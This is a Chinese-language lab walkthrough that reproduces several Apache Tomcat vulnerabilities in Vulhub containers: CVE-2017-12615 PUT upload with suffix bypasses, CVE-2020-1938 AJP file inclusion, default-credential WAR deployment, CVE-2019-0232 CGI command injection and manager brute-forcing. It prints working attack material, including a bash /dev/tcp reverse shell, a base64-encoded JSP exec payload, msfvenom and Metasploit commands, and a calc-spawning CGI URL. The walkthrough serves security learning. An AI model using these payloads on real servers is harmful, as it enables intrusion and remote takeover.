作者:mathwizard
原文鏈接:https://mp.weixin.qq.com/s/rqnk7OOkHbub5zeuFFmJ3g
簡介
Tomcat是Apache 軟件基金會(Apache Software Foundation)的Jakarta 項目中的一個核心項目,由Apache、Sun 和其他一些公司及個人共同開發而成。由于有了Sun 的參與和支持,最新的Servlet 和JSP 規范總是能在Tomcat 中得到體現,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規范。因為Tomcat 技術先進、性能穩定,而且免費,因而深受Java 愛好者的喜愛并得到了部分軟件開發商的認可,成為目前比較流行的Web 應用服務器。
Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬于輕量級應用服務器,在中小型系統和并發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對于一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 服務器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。
訣竅是,當配置正確時,Apache 為HTML頁面服務,而Tomcat 實際上運行JSP 頁面和Servlet。另外,Tomcat和IIS等Web服務器一樣,具有處理HTML頁面的功能,另外它還是一個Servlet和JSP容器,獨立的Servlet容器是Tomcat的默認模式。不過,Tomcat處理靜態HTML的能力不如Apache服務器。目前Tomcat最新版本為10.0.5。
CVE-2017-12615
CVE-2017-12615對應的漏洞為任意文件寫入,主要影響的是Tomcat的7.0.0-7.0.81這幾個版本
漏洞原理
由于配置不當(非默認配置),將配置文件conf/web.xml中的readonly設置為了 false,導致可以使用PUT方法上傳任意文件,但限制了jsp后綴的上傳
根據描述,在 Windows 服務器下,將 readonly 參數設置為 false 時,即可通過 PUT 方式創建一個 JSP 文件,并可以執行任意代碼
通過閱讀 conf/web.xml 文件,可以發現,默認 readonly 為 true,當 readonly 設置為 false 時,可以通過 PUT / DELETE 進行文件操控
漏洞復現
這里使用vuluhub的docker進行漏洞復現,這里就不詳細介紹環境搭建了
首先進入CVE-2017-12615的docker環境
sudo docker-compose up -ddocker ps //查看docker環境是否啟動成功

這里首先進入docker里查看一下web.xml的代碼,可以看到這里readonly設置為false,所以存在漏洞
sudo docker exec -ti ec bash //進入docker容器cat conf/web.xml | grep readonly
訪問下8080端口,對應的是Tomcat 8.5.19

在8080端口進行抓包,這里發現是一個GET方法

這里首先測試一下,改為PUT方法寫入一個test.txt,這里看到返回201,應該已經上傳成功了
PUT /test.txt HTTP/1.1testpoc

這里進入docker查看一下已經寫入成功了
cd /usr/local/tomcat/webapps/ROOTls

之前說過,使用PUT方法上傳任意文件,但限制了jsp后綴的上傳,這里首先使用PUT方法直接上傳一個冰蝎的jsp上去,發現返回的是404,應該是被攔截了

這里就需要進行繞過,這里繞過有三種方法
1.Windows下不允許文件以空格結尾以PUT /a001.jsp%20 HTTP/1.1上傳到 Windows會被自動去掉末尾空格
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也會被去除(Linux/Windows)Put/a001.jsp/http:/1.1
首先使用%20繞過。我們知道%20對應的是空格,在windows中若文件這里在jsp后面添加%20即可達到自動抹去空格的效果。這里看到返回201已經上傳成功了

進入docker查看一下,確認是上傳上去了

第二種方法為在jsp后綴后面使用/,因為/在文件名中是非法的,在windows和linux中都會自動去除。根據這個特性,上傳/ice1.jsp/,看到返回201

進入docker查看發現已經上傳成功

第三種方法就是使用Windows NTFS流,在jsp后面添加::$DATA,看到返回201,上傳成功

進入docker驗證一下

這里隨便連接一個jsp即可拿到webshell

CVE-2020-1938
CVE-2020-1938為Tomcat AJP文件包含漏洞。由長亭科技安全研究員發現的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector可以讀取或包含 Tomcat上所有 webapp目錄下的任意文件,例如可以讀取 webapp配置文件或源碼。
此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。
漏洞原理
Tomcat 配置了兩個Connecto,它們分別是 HTTP 和 AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用于處理 AJP 協議的請求,而AJP比http更加優化,多用于反向、集群等,漏洞由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shell
tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協議端口,另外一個就是默認的8009 AJP協議端口,兩個端口默認均監聽在外網ip。
tomcat在接收ajp請求的時候調用org.apache.coyote.ajp.AjpProcessor來處理ajp消息,prepareRequest將ajp里面的內容取出來設置成request對象的Attribute屬性

因此可以通過此種特性從而可以控制request對象的下面三個Attribute屬性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封裝成對應的request之后,繼續走servlet的映射流程如下

漏洞復現
啟動CVE-2020-1938的docker環境

首先使用poc進行漏洞檢測,若存在漏洞則可以查看webapps目錄下的所有文件
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2環境

這里查看8009端口下的web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml

使用bash反彈shell
bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
因為是java的原因所以需要轉換一下,使用http://www.jackson-t.ca/runtime-exec-payloads.html,轉換結果如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
生成一個test.txt,這里只需要換payload就可以
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
bp抓包把test.txt上傳到docker容器
nc開啟端口監聽

即可獲得一個交互型shell
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt

這里為了方便,上線到msf上進行操作,首先生成一個shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt

抓包將shell.txt上傳到docker

msf開啟監聽,注意payload使用java/jsp_shell_reverse_tcp

再使用poc反彈即可上線
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt

弱口令&war遠程部署
漏洞原理
在tomcat8環境下默認進入后臺的密碼為tomcat/tomcat,未修改造成未授權即可進入后臺
漏洞復現
進入tomcat8的docker環境

訪問后臺管理地址,使用tomcat/tomcat進入后臺
http://192.168.1.8:8080//manager/html

進入到了后臺的頁面

看到這里有一個上傳war包的地方,這里很多java的中間件都可以用war遠程部署來拿shell,tomcat也不例外

首先將ice.jsp打包成test.war
jar -cvf test.war .

點擊上傳即可看到上傳的test.war已經部署成功

訪問一下沒有報錯404那么應該已經上傳成功

使用冰蝎連接即可得到shell
這里也可以用msf里面的exploit/multi/http/tomcat_mgr_upload模塊
use exploit/multi/http/tomcat_mgr_uploadset HttpPassword tomcatset HttpUsername tomcatset rhost 192.168.1.8set rport 8080run

運行即可得到一個meterpreter

CVE-2019-0232
CVE-2019-0232為Apache Tomcat RCE
漏洞原理
漏洞相關的代碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一個cgi的調用接口,在啟用 enableCmdLineArguments 參數時,會根據RFC 3875來從Url參數中生成命令行參數,并把參數傳遞至Java的 Runtime 執行。這個漏洞是因為 Runtime.getRuntime().exec 在Windows中和Linux中底層實現不同導致的
Java的 Runtime.getRuntime().exec 在CGI調用這種情況下很難有命令注入。而Windows中創建進程使用的是 CreateProcess ,會將參數合并成字符串,作為 lpComandLine 傳入 CreateProcess 。程序啟動后調用 GetCommandLine 獲取參數,并調用 CommandLineToArgvW 傳至 argv。在Windows中,當 CreateProcess 中的參數為 bat 文件或是 cmd 文件時,會調用 cmd.exe , 故最后會變成 cmd.exe /c "arg.bat & dir",而Java的調用過程并沒有做任何的轉義,所以在Windows下會存在漏洞
漏洞復現
啟動tomcat
訪問一下已經啟動成功

Tomcat的 CGI_Servlet組件默認是關閉的,在conf/web.xml中找到注釋的 CGIServlet部分,去掉注釋,并配置enableCmdLineArguments和executable

這里注意一下,去掉注釋并添加以下代碼
enableCmdLineArguments啟用后才會將Url中的參數傳遞到命令行executable指定了執行的二進制文件,默認是perl,需要置為空才會執行文件本身。
<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>

然后在conf/web.xml中啟用cgi的 servlet-mapping

修改conf/context.xml的添加 privileged="true"屬性,否則會沒有權限

添加true
<Context privileged="true">
在C:\Tomcat\webapps\ROOT\WEB-INF下創建cgi-bin目錄

在該目錄下創建一個hello.bat

然后重啟tomcat環境

訪問http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe即可彈出計算器,這里構造系統命令即可

manager App暴力破解
漏洞原理
后臺密碼用base64編碼傳輸,抓包解密即可得到后臺密碼,也可以進行爆破
漏洞復現
這里訪問http://192.168.1.8:8000/manager/html進行抓包,在沒有輸入帳號密碼的時候是沒有什么數據的

把這個包放過去,會請求輸入用戶名和密碼,再進行抓包

就可以得到Authorization這個字段,這個字段有一個Basic,就是base64加密的意思

這里直接放到base64解密得到tomcat:tomcat的密碼

進入后臺之后再次抓包可以看到有一個cookie,但是沒有了Authorization這個字段

我們可以對字段進行爆破,加上Authorization即可

去掉自帶的編碼
攻擊即可拿到賬號密碼

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1677/
暫無評論